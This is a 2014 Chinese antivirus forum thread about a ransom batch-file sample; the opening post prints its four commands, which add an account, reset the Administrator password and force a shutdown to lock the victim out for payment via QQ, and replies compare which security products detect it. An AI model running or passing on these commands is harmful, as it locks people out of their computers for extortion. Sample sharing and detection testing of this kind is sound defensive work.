我最喜欢的敲竹杠，喜欢双击的试试（61楼新到样本）

显示全部楼层 · 发表于 2014-6-1 15:09:36

本帖最后由 Qutianshang 于 2014-6-2 07:43 编辑

微点直接没反应，数字和山山的扫描貌似也没有扫出来
好简单：
net user 要密码加Q836210502 hanyq2014.. /add
net user Administrator /active:no
net user Administrator hanyq2014..
shutdown -f

显示全部楼层 · 发表于 2014-6-1 15:17:56

过来娱乐一下
这个在默认设置中不拦截

把云安全关掉在加几个规则。。。拦截

时间	事件	结果	附加信息
2014/6/1 15:13	系统内核加固	阻止explorer.exe	规则ID：131270960 防护类型：打开进程：C:\WINDOWS\Explorer.EXE 文件路径：C:\Windows\System32\cmd.exe
2014/6/1 15:13	系统内核加固	阻止cmd.exe	规则ID：131270976 防护类型：打开进程：C:\WINDOWS\system32\cmd.exe 文件路径：C:\Windows\System32\shutdown.exe
2014/6/1 15:13	系统内核加固	阻止cmd.exe	规则ID：131270912 防护类型：打开进程：C:\WINDOWS\system32\cmd.exe 文件路径：C:\Windows\System32\net.exe
2014/6/1 15:13	系统内核加固	放过conhost.exe	规则ID：131270960 防护类型：打开进程：C:\WINDOWS\system32\conhost.exe 文件路径：C:\Windows\System32\cmd.exe
2014/6/1 15:12	系统内核加固	放过explorer.exe	规则ID：131270960 防护类型：打开进程：C:\WINDOWS\Explorer.EXE 文件路径：C:\Windows\System32\cmd.exe

显示全部楼层 · 发表于 2014-6-1 15:21:44

瓜g 发表于 2014-6-1 15:17
过来娱乐一下
这个在默认设置中不拦截
把云安全关掉在加几个规则。。。拦截

这种批处理，貌似杀毒默认不杀

显示全部楼层 · 发表于 2014-6-1 15:22:41

我擦
纯脚本？！

显示全部楼层 · 发表于 2014-6-1 15:33:06

XywCloud 发表于 2014-6-1 15:22
我擦
纯脚本？！

事实证明，越是简单的越有效果

显示全部楼层 · 发表于 2014-6-1 15:40:27

本帖最后由 llcy 于 2014-6-1 16:37 编辑

金山拦截

显示全部楼层 · 发表于 2014-6-1 15:52:16

作者让我给他5Q币换密码

然后他把我T了

显示全部楼层 · 发表于 2014-6-1 15:54:22

瓜g 发表于 2014-6-1 15:52
作者让我给他5Q币换密码

然后他把我T了

这个倒是便宜

显示全部楼层 · 发表于 2014-6-1 16:02:20

本帖最后由 cn86li 于 2014-6-2 15:17 编辑

chrome拦截

To BD

ticket number is 2014060108000003

Hello,

Thank you for your patience.
The analysis of the file / website has been completed:

The file is clean.

File bat declared CLEAN

Please do not hesitate to contact us should you have any other inquiries in the future.

Have a great day.

显示全部楼层 · 发表于 2014-6-1 16:03:21

这种样本啊。。诺顿免测，，也不会入库。。

[病毒样本] 我最喜欢的敲竹杠，喜欢双击的试试（61楼新到样本）

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源